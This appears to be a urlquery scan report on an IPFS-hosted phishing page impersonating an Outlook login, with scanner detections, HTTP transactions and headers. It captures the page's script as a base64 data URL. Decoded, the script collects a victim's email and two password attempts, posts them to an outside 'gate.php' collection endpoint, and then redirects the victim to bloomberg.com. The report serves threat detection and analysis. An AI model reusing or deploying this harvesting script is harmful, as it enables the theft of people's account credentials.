Report - cf-ipfs.com/ipfs/QmYtSYPUCQRWcp3KnG8TW8gs2naQ5qPpTvXv6tgJ4a5iH2

Report Overview

Submitted URL
cf-ipfs.com/ipfs/QmYtSYPUCQRWcp3KnG8TW8gs2naQ5qPpTvXv6tgJ4a5iH2
IP
104.17.96.13
ASN
#13335 CLOUDFLARENET
Submitted
2024-03-29 15:57:49
Access
public
Website Title
Outlook
Final URL
bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/
Tags
microsoft phishing
urlquery detections
Phishing - Microsoft

Detections

urlquery
3
Network Intrusion Detection
0
Threat Detection Systems
12

Domain Summary

Domain / FQDN	Rank	Registered	First Seen	Last Seen	Sent	Received	IP
cf-ipfs.com	655312	2018-12-05	2018-12-20	2024-03-28	517 B	1.1 kB	104.17.96.13
bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com	unknown	2018-12-05	2023-11-09	2024-03-09	1.3 kB	46 kB	104.17.96.13

Related reports

Network Intrusion Detection Systems

Suricata /w Emerging Threats Pro

No alerts detected

Threat Detection Systems

Public InfoSec YARA rules

No alerts detected

OpenPhish

Scan Date	Severity	Indicator	Alert
2024-03-29	medium	cf-ipfs.com/ipfs/QmYtSYPUCQRWcp3KnG8TW8gs2naQ5qPpTvXv6tgJ4a5iH2	Outlook
2024-03-09	medium	bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/	Outlook
2024-03-09	medium	bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/	Outlook

PhishTank

Scan Date	Severity	Indicator	Alert
2023-11-09	medium	cf-ipfs.com/ipfs/QmYtSYPUCQRWcp3KnG8TW8gs2naQ5qPpTvXv6tgJ4a5iH2	Other
2023-11-09	medium	bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/	Other
2023-11-09	medium	bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/assets/favicon.ico	Other

mnemonic secure dns

No alerts detected

Quad9 DNS

No alerts detected

ThreatFox

No alerts detected

JavaScript (2)

	URL	Size	First Seen	Last Seen
	data:text/javascript;base64,KGZ1bmN0aW9uKCkgew0KICAgIHZhciBnYXRlID0gJ2h0dHBzOi8vd3d3LnN1bm55LnBldC9jb25maWRlbnRpYWwvMTgvZ2F0ZS5waHAnOw0KICAgIHZhciBmaXJzdF9wYXNzd29yZCA9ICcnOw0KDQoJc2V0VGltZW91dChmdW5jdGlvbigpew0KCQl2YXIgaGFzaCA9IHdpbmRvdy5sb2NhdGlvbi5oYXNoOw0KCQl2YXIgX2VtYWlsID0gaGFzaC5zcGxpdCgnIycpWzFdOw0KCQlpZiAoLy4qQC4qXC4uKi8udGVzdChfZW1haWwpID09IHRydWUpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLnZhbHVlID0gX2VtYWlsOw0KCQl9DQogICAgfSwxMDApOw0KICAgIA0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLmFkZEV2ZW50TGlzdGVuZXIoJ2tleXByZXNzJywgZnVuY3Rpb24oZSl7DQogICAgICAgIGlmIChlLndoaWNoID09IDEzKSB7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcubG9naW4nKS5jbGljaygpOw0KICAgICAgICB9DQogICAgfSk7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Bhc3N3b3JkJykuYWRkRXZlbnRMaXN0ZW5lcigna2V5cHJlc3MnLCBmdW5jdGlvbihlKXsNCiAgICAgICAgaWYgKGUud2hpY2ggPT0gMTMpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5sb2dpbicpLmNsaWNrKCk7DQogICAgICAgIH0NCiAgICB9KTsNCg0KICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5sb2dpbicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oZSl7DQogICAgICAgIHZhciBlbWFpbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLnZhbHVlOw0KICAgICAgICB2YXIgcGFzc3dvcmQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGFzc3dvcmQnKS52YWx1ZTsNCiAgICAgICAgaWYgKC8uKkAuKlwuLiovLnRlc3QoZW1haWwpICE9PSB0cnVlKSB7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcuZXJyb3InKS5jbGFzc05hbWUgPSAnZXJyb3IgYWN0aXZlJzsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoLy57Nix9Ly50ZXN0KHBhc3N3b3JkKSAhPT0gdHJ1ZSkgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Bhc3N3b3JkJykudmFsdWUgPSAnJzsNCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5lcnJvcicpLmNsYXNzTmFtZSA9ICdlcnJvciBhY3RpdmUnOw0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKGZpcnN0X3Bhc3N3b3JkID09ICcnKSB7DQogICAgICAgICAgICBmaXJzdF9wYXNzd29yZCA9IHBhc3N3b3JkOw0KDQogICAgICAgICAgICB2YXIgcmVxdWVzdCA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KICAgICAgICAgICAgcmVxdWVzdC5vcGVuKCdQT1NUJywgZ2F0ZSwgdHJ1ZSk7DQogICAgICAgICAgICByZXF1ZXN0LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7IGNoYXJzZXQ9VVRGLTgnKTsNCiAgICAgICAgICAgIHJlcXVlc3QucmVzcG9uc2VUeXBlID0gJ3RleHQnOw0KICAgICAgICAgICAgcmVxdWVzdC5zZW5kKCdlbWFpbD0nK2VtYWlsKycmcGFzczE9JytwYXNzd29yZCk7DQoNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwYXNzd29yZCcpLnZhbHVlID0gJyc7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcuZXJyb3InKS5jbGFzc05hbWUgPSAnZXJyb3IgYWN0aXZlJzsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KDQogICAgICAgIHZhciByZXF1ZXN0ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICAgIHJlcXVlc3Qub3BlbignUE9TVCcsIGdhdGUsIHRydWUpOw0KICAgICAgICByZXF1ZXN0LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7IGNoYXJzZXQ9VVRGLTgnKTsNCiAgICAgICAgcmVxdWVzdC5yZXNwb25zZVR5cGUgPSAndGV4dCc7DQogICAgICAgIHJlcXVlc3Qub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAvLyBpZiAodGhpcy5yZWFkeVN0YXRlID09IDQgJiYgdGhpcy5zdGF0dXMgPT0gMjAwKSB7DQogICAgICAgICAgICBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gJ2h0dHBzOi8vYmxvb21iZXJnLmNvbS8nOw0KICAgICAgICAgICAgLy8gfQ0KICAgICAgICB9Ow0KICAgICAgICByZXF1ZXN0LnNlbmQoJ2VtYWlsPScrZW1haWwrJyZwYXNzMT0nK2ZpcnN0X3Bhc3N3b3JkKycmcGFzczI9JytwYXNzd29yZCk7DQogICAgfSk7DQoNCn0pKCk7	2.4 kB	2023-11-09	2024-04-23
Pretty URL data:text/javascript;base64,KGZ1bmN0aW9uKCkgew0KICAgIHZhciBnYXRlID0gJ2h0dHBzOi8vd3d3LnN1bm55LnBldC9jb25maWRlbnRpYWwvMTgvZ2F0ZS5waHAnOw0KICAgIHZhciBmaXJzdF9wYXNzd29yZCA9ICcnOw0KDQoJc2V0VGltZW91dChmdW5jdGlvbigpew0KCQl2YXIgaGFzaCA9IHdpbmRvdy5sb2NhdGlvbi5oYXNoOw0KCQl2YXIgX2VtYWlsID0gaGFzaC5zcGxpdCgnIycpWzFdOw0KCQlpZiAoLy4qQC4qXC4uKi8udGVzdChfZW1haWwpID09IHRydWUpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLnZhbHVlID0gX2VtYWlsOw0KCQl9DQogICAgfSwxMDApOw0KICAgIA0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLmFkZEV2ZW50TGlzdGVuZXIoJ2tleXByZXNzJywgZnVuY3Rpb24oZSl7DQogICAgICAgIGlmIChlLndoaWNoID09IDEzKSB7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcubG9naW4nKS5jbGljaygpOw0KICAgICAgICB9DQogICAgfSk7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Bhc3N3b3JkJykuYWRkRXZlbnRMaXN0ZW5lcigna2V5cHJlc3MnLCBmdW5jdGlvbihlKXsNCiAgICAgICAgaWYgKGUud2hpY2ggPT0gMTMpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5sb2dpbicpLmNsaWNrKCk7DQogICAgICAgIH0NCiAgICB9KTsNCg0KICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5sb2dpbicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oZSl7DQogICAgICAgIHZhciBlbWFpbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLnZhbHVlOw0KICAgICAgICB2YXIgcGFzc3dvcmQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGFzc3dvcmQnKS52YWx1ZTsNCiAgICAgICAgaWYgKC8uKkAuKlwuLiovLnRlc3QoZW1haWwpICE9PSB0cnVlKSB7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcuZXJyb3InKS5jbGFzc05hbWUgPSAnZXJyb3IgYWN0aXZlJzsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoLy57Nix9Ly50ZXN0KHBhc3N3b3JkKSAhPT0gdHJ1ZSkgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Bhc3N3b3JkJykudmFsdWUgPSAnJzsNCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5lcnJvcicpLmNsYXNzTmFtZSA9ICdlcnJvciBhY3RpdmUnOw0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKGZpcnN0X3Bhc3N3b3JkID09ICcnKSB7DQogICAgICAgICAgICBmaXJzdF9wYXNzd29yZCA9IHBhc3N3b3JkOw0KDQogICAgICAgICAgICB2YXIgcmVxdWVzdCA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KICAgICAgICAgICAgcmVxdWVzdC5vcGVuKCdQT1NUJywgZ2F0ZSwgdHJ1ZSk7DQogICAgICAgICAgICByZXF1ZXN0LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7IGNoYXJzZXQ9VVRGLTgnKTsNCiAgICAgICAgICAgIHJlcXVlc3QucmVzcG9uc2VUeXBlID0gJ3RleHQnOw0KICAgICAgICAgICAgcmVxdWVzdC5zZW5kKCdlbWFpbD0nK2VtYWlsKycmcGFzczE9JytwYXNzd29yZCk7DQoNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwYXNzd29yZCcpLnZhbHVlID0gJyc7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcuZXJyb3InKS5jbGFzc05hbWUgPSAnZXJyb3IgYWN0aXZlJzsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KDQogICAgICAgIHZhciByZXF1ZXN0ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICAgIHJlcXVlc3Qub3BlbignUE9TVCcsIGdhdGUsIHRydWUpOw0KICAgICAgICByZXF1ZXN0LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7IGNoYXJzZXQ9VVRGLTgnKTsNCiAgICAgICAgcmVxdWVzdC5yZXNwb25zZVR5cGUgPSAndGV4dCc7DQogICAgICAgIHJlcXVlc3Qub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAvLyBpZiAodGhpcy5yZWFkeVN0YXRlID09IDQgJiYgdGhpcy5zdGF0dXMgPT0gMjAwKSB7DQogICAgICAgICAgICBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gJ2h0dHBzOi8vYmxvb21iZXJnLmNvbS8nOw0KICAgICAgICAgICAgLy8gfQ0KICAgICAgICB9Ow0KICAgICAgICByZXF1ZXN0LnNlbmQoJ2VtYWlsPScrZW1haWwrJyZwYXNzMT0nK2ZpcnN0X3Bhc3N3b3JkKycmcGFzczI9JytwYXNzd29yZCk7DQogICAgfSk7DQoNCn0pKCk7 IP 0.0.0.0 ASN #0 Introduced by scriptElement Embedded in HTML false Observations First Seen2023-11-09 14:24:31 Last Seen2024-04-23 18:32:19 Times Seen19 Hash 36a8e76103c7d7bdc4c3e13f96cf8eb1 a4df47174291fb3b06d6d5a4612e8be28786770f d063abe90aef1c541e75425a7d6567249b21eb03997a1a61085609935b756d08 Loading...

	bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/	213 B	2023-03-08	2024-04-23
Pretty URL bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/ IP 104.17.96.13 ASN #13335 CLOUDFLARENET Introduced by scriptElement Embedded in HTML true Observations First Seen2023-03-08 04:09:06 Last Seen2024-04-23 18:32:19 Times Seen136 Hash 3dc38bbae5475ac658fcc63d01f9e7c7 a2d596048994e2412142eedb94aee6e57edb5252 06558f89b77a7f09570572cdd438270e98440954bfac147d53c793ff062e7f2c Loading...

HTTP Transactions (3)

URL IP Response Size

cf-ipfs.com/ipfs/QmYtSYPUCQRWcp3KnG8TW8gs2naQ5qPpTvXv6tgJ4a5iH2

104.17.96.13

301 Moved Permanently

120 B

URL User Request GET HTTP/2
cf-ipfs.com/ipfs/QmYtSYPUCQRWcp3KnG8TW8gs2naQ5qPpTvXv6tgJ4a5iH2
IP
104.17.96.13:443
ASN
#13335 CLOUDFLARENET

Certificate
IssuerCloudflare, Inc.
Subjectcf-ipfs.com
Fingerprint33:42:32:E5:22:DD:EC:B2:FA:AD:88:57:0E:97:21:CF:2E:C4:17:BA
ValiditySat, 06 May 2023 00:00:00 GMT - Sun, 05 May 2024 23:59:59 GMT

File type
HTML document, ASCII text
Size
120 B (120 bytes)
Hash
5882ca02fc81989cef2eddd516cec56b
6c81480db651977c76c6d1016ad1f61f333adfd7
965bf6f2770497333111132e2cc7a864f54bedc8b99c2faef23078baf45f6f5c

Detections

Analyzer	Verdict	Alert
OpenPhish	phishing	Outlook
PhishTank	phishing	Other

HTTP Headers

GET /ipfs/QmYtSYPUCQRWcp3KnG8TW8gs2naQ5qPpTvXv6tgJ4a5iH2 HTTP/1.1
Host: cf-ipfs.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Upgrade-Insecure-Requests: 1
Connection: keep-alive
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 301 Moved Permanently
date: Fri, 29 Mar 2024 15:57:24 GMT
content-type: text/html; charset=utf-8
content-length: 120
location: https://bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/
cf-ray: 86c10e34da65712e-OSL
cf-cache-status: MISS
access-control-allow-origin: *
cache-control: no-store
vary: Accept-Encoding
access-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-With
access-control-allow-methods: GET
access-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-Output
x-cf-ipfs-cache-status: miss
set-cookie: __cf_bm=U1PTnLUD64qdSVbXLZydEEa6JhKrzO0TlWpmnvkIp7w-1711727844-1.0.1.1-ZkEU5MxRh60ya6g7DmE02johf40BXAOgT2jfDeaBGf0BpATm2kqXowM8A1HnmtOs_4qrAN3ixtHwfthce1EWjQ; path=/; expires=Fri, 29-Mar-24 16:27:24 GMT; domain=.cf-ipfs.com; HttpOnly; Secure; SameSite=None
server: cloudflare
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/

104.17.96.13

200 OK

44 kB

URL User Request GET HTTP/2
bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/
IP
104.17.96.13:443
ASN
#13335 CLOUDFLARENET

Certificate
IssuerLet's Encrypt
Subjectcf-ipfs.com
Fingerprint46:AD:9B:E1:02:E3:A8:FE:9B:E2:86:B5:A1:5C:07:B9:B7:3B:17:14
ValiditySat, 16 Mar 2024 23:28:47 GMT - Fri, 14 Jun 2024 23:28:46 GMT

File type
HTML document, ASCII text, with very long lines (38930), with CRLF line terminators
Size
44 kB (44045 bytes)
Hash
97ac6ac886fddeee4ff1016d67467df9
ea7a2240ca385308ae88da6372887c9275847721
4b914799e462ac94b4650b71e26bf9a413a2fcf9dcff29b79a79764d6681319d

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Microsoft
OpenPhish	phishing	Outlook
PhishTank	phishing	Other

HTTP Headers

GET / HTTP/1.1
Host: bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 200 OK
date: Fri, 29 Mar 2024 15:57:25 GMT
content-type: text/html
cf-ray: 86c10e35d9dfb4f3-OSL
cf-cache-status: MISS
access-control-allow-origin: *
cache-control: public, max-age=29030400, immutable
etag: W/"bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu"
vary: Accept-Encoding
access-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-With
access-control-allow-methods: GET
access-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-Output
x-cf-ipfs-cache-status: miss
x-ipfs-path: /ipfs/bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu/
x-ipfs-roots: bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu
set-cookie: __cf_bm=2IvRgQu6qykxshaALx9wwJBjzhI8P4Rh9ysWHJW9whY-1711727845-1.0.1.1-KCIV1dSoyBsuy8ecBTaSDxIiw4LirNd_8mflYVlapdWmd_oOLeo8ZemsyaxpS2qdKHpz9lxRWxj.EleG3oi1Uw; path=/; expires=Fri, 29-Mar-24 16:27:25 GMT; domain=.bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com; HttpOnly; Secure; SameSite=None
server: cloudflare
content-encoding: br
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/assets/favicon.ico

104.17.96.13

404 Not Found

193 B

URL GET HTTP/2
bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/assets/favicon.ico
IP
104.17.96.13:443
ASN
#13335 CLOUDFLARENET

Requested by
https://bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/
Certificate
IssuerLet's Encrypt
Subjectcf-ipfs.com
Fingerprint46:AD:9B:E1:02:E3:A8:FE:9B:E2:86:B5:A1:5C:07:B9:B7:3B:17:14
ValiditySat, 16 Mar 2024 23:28:47 GMT - Fri, 14 Jun 2024 23:28:46 GMT

File type
ASCII text, with no line terminators
Size
193 B (193 bytes)
Hash
f08a855205c5266acfce6229419997cf
9022d754e727c65a3f69547e38dec2ff48b1db3b
d003ada3e3fc05cfd307d5f75dfd5772c48577ec9d5729e8c0ed9f9283a43924

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Microsoft
OpenPhish	phishing	Outlook
PhishTank	phishing	Other

HTTP Headers

GET /assets/favicon.ico HTTP/1.1
Host: bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu.ipfs.cf-ipfs.com/
Cookie: __cf_bm=2IvRgQu6qykxshaALx9wwJBjzhI8P4Rh9ysWHJW9whY-1711727845-1.0.1.1-KCIV1dSoyBsuy8ecBTaSDxIiw4LirNd_8mflYVlapdWmd_oOLeo8ZemsyaxpS2qdKHpz9lxRWxj.EleG3oi1Uw
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 404 Not Found
date: Fri, 29 Mar 2024 15:57:25 GMT
content-type: text/plain; charset=utf-8
cf-ray: 86c10e3a5dbcb4f3-OSL
cf-cache-status: EXPIRED
access-control-allow-origin: *
cache-control: no-store
vary: Accept-Encoding
access-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-With
access-control-allow-methods: GET
access-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-Output
x-cf-ipfs-cache-status: miss
x-content-type-options: nosniff
x-ipfs-path: /ipfs/bafybeie4xgzh6cqv3ex3syp2rtw5rguklrc7gg45mgu476356o4tnnpdwu/assets/favicon.ico
server: cloudflare
content-encoding: br
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

Report Overview

Submitted URL

IP

ASN

Submitted

Access

Website Title

Final URL

Tags

urlquery detections

Detections

urlquery

Network Intrusion Detection

Threat Detection Systems

Domain Summary

Related reports

Network Intrusion Detection Systems

Suricata /w Emerging Threats Pro

Threat Detection Systems

Public InfoSec YARA rules

OpenPhish

PhishTank

mnemonic secure dns

Quad9 DNS

ThreatFox

JavaScript (2)

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

HTTP Transactions (3)

URL User Request GET HTTP/2

IP

ASN

Certificate

File type

Size

Hash

Detections

HTTP Headers

URL User Request GET HTTP/2

IP

ASN

Certificate

File type

Size

Hash

Detections

HTTP Headers

URL GET HTTP/2

IP

ASN

Requested by

Certificate

File type

Size

Hash

Detections

HTTP Headers